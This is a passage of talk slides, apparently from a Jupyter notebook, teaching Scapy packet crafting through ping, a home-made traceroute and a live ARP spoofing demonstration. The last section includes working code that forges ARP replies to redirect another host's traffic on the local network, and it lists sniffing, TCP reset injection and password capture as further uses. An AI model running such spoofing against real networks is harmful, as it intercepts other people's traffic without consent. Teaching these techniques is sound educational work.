Easy network hacking with Scapy!



Julia Evans
@b0rk
http://jvns.ca

Follow along at http://bit.ly/scapy-fun

Network hacking? That sounds hard.

Ping


In [1]:
!ping google.com


PING google.com (206.167.212.35) 56(84) bytes of data.
^C
--- google.com ping statistics ---
15 packets transmitted, 0 received, 100% packet loss, time 14029ms


Ping, the hard way

/*
 * IP_HEADER prototype
 */
struct ip_header
{
    unsigned int    hl:4,       /* 4 bit header length */
                    ver:4;      /* 4 bit version */
    unsigned char   tos;        /* type of service */
    unsigned short  totl;       /* total length of datagram */
    unsigned short  id;     /* identifier */
    unsigned short  notused;    /* this is were flags and fragment offset would go */
    unsigned char   ttl;        /* time to live */
    unsigned char   prot;       /* protocol */
    unsigned short  csum;       /* our checksum */
    unsigned long   saddr;      /* source address */
    unsigned long   daddr;      /* destination address */
};

Ping, the hard way

struct icmp_echo
{
    unsigned char type;
    unsigned char code;
    unsigned short checksum;
    unsigned short identifier;
    unsigned short sequence;
    char data[MTU]; /* we're going to send data MTU bytes at a time */
};

Source: http://sickbits.net/code2/sendicmp.c.txt

Ping, the easy way


In [1]:
!nslookup google.com  | tail -3


Name:	google.com
Address: 74.125.225.130


In [71]:
from scapy.all import IP, ICMP, sr1, UDP
sr1(IP(dst="74.125.225.130") / ICMP())


Received 19 packets, got 1 answers, remaining 0 packets
Begin emission:
Finished to send 1 packets.
Out[71]:
<IP  version=4L ihl=5L tos=0x0 len=28 id=41134 flags= frag=0L ttl=53 proto=icmp chksum=0xf71b src=74.125.225.130 dst=192.168.1.111 options=[] |<ICMP  type=echo-reply code=0 chksum=0x0 id=0x0 seq=0x0 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\x02\xecx' |>>>

Traceroute!


In [61]:
!traceroute google.com


traceroute to google.com (173.194.46.110), 30 hops max, 60 byte packets
 1  unknown (192.168.1.1)  1.140 ms  2.220 ms  4.860 ms
 2  10.244.148.193 (10.244.148.193)  9.948 ms  10.072 ms  10.308 ms
 3  mx480-xe-1-1-0.electronicbox.net (74.116.184.81)  15.487 ms  16.290 ms  16.437 ms
 4  mx480-xe-1-1-0.electronicbox.net (74.116.184.81)  16.550 ms  16.997 ms  16.711 ms
 5  xe-4-3-0-402.mtl10.ip4.tinet.net (199.168.63.17)  15.517 ms  15.611 ms  15.837 ms
 6  xe-1-0-0.nyc38.ip4.tinet.net (89.149.181.182)  23.302 ms 141.136.105.14 (141.136.105.14)  26.791 ms  28.973 ms
 7  72.14.216.137 (72.14.216.137)  29.095 ms  28.476 ms  26.835 ms
 8  209.85.255.68 (209.85.255.68)  26.935 ms  32.261 ms  32.038 ms
 9  209.85.252.250 (209.85.252.250)  32.448 ms 72.14.236.208 (72.14.236.208)  22.033 ms  24.306 ms
10  72.14.239.93 (72.14.239.93)  28.168 ms  28.429 ms  28.586 ms
11  209.85.246.83 (209.85.246.83)  38.195 ms  37.995 ms  37.750 ms
12  209.85.254.241 (209.85.254.241)  36.865 ms 72.14.237.131 (72.14.237.131)  37.039 ms  37.257 ms
13  209.85.245.225 (209.85.245.225)  32.383 ms  32.096 ms  31.515 ms
14  ord08s13-in-f14.1e100.net (173.194.46.110)  32.362 ms  33.409 ms  33.327 ms

Traceroute!

Strategy: Set the time to live (ttl) to a small number. Our packet dies in transit!


In [77]:
reply = sr1(IP(dst="74.125.225.1", ttl=1) / UDP())
reply


Received 16 packets, got 1 answers, remaining 0 packets
Begin emission:
Finished to send 1 packets.
Out[77]:
<IP  version=4L ihl=5L tos=0xc0 len=56 id=9049 flags= frag=0L ttl=64 proto=icmp chksum=0xd2eb src=192.168.1.1 dst=192.168.1.111 options=[] |<ICMP  type=time-exceeded code=ttl-zero-during-transit chksum=0xe2af unused=0 |<IPerror  version=4L ihl=5L tos=0x0 len=28 id=1 flags= frag=0L ttl=1 proto=udp chksum=0xcc3a src=192.168.1.111 dst=74.125.225.1 options=[] |<UDPerror  sport=domain dport=domain len=8 chksum=0x11de |>>>>

In [60]:
reply.src


Out[60]:
'192.168.1.1'

Traceroute!


In [100]:
for ttl in range(6):
    packet = IP(dst="74.125.225.1", ttl=ttl) / UDP()
    reply = sr1(packet, verbose=0, timeout=0.05)
    if reply is not None:
        print reply.src


192.168.1.1
192.168.1.1
10.244.148.193
74.116.184.81
74.116.184.81
199.168.63.17

In [98]:
import socket
print socket.gethostbyaddr("74.116.184.81")
print socket.gethostbyaddr("199.168.63.17")


('mx480-xe-1-1-0.electronicbox.net', [], ['74.116.184.81'])
('xe-4-3-0-402.mtl10.ip4.tinet.net', [], ['199.168.63.17'])

But I promised hacking!

Actual hacking: ARP spoofing

Your router sends you messages by *mac address*

You need to tell it what your IP address is.

Hi! I'm `192.168.1.144`! My MAC address is `3c:97:0e:55:b3:7f`

ARP spoofing = lying.

To participate, run `ifconfig`, and tell me your local IP address!


In [201]:
from scapy.all import ARP, srp, Ether

In [210]:
my_mac_address = "3c:97:0e:55:b3:7f"
ip_to_spoof = "192.168.1.144"
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
         ARP(psrc=ip_to_spoof, hwsrc=my_mac_address)
srp(packet, verbose=0, timeout=0.01)


Out[210]:
(<Results: TCP:0 UDP:0 ICMP:0 Other:0>,
 <Unanswered: TCP:0 UDP:0 ICMP:0 Other:1>)

The router will send me your packets now.

But there's more!

  • Spy on all packets being sent and received on your local network!

  • send TCP reset packets to abort TCP connections

  • Find out if your computer is sending passwords in plaintext!

  • Learn how TCP works!

  • Learn why WEP in insecure!

Read this

Thanks! Questions?



Julia Evans
@b0rk
http://jvns.ca

http://bit.ly/scapy-fun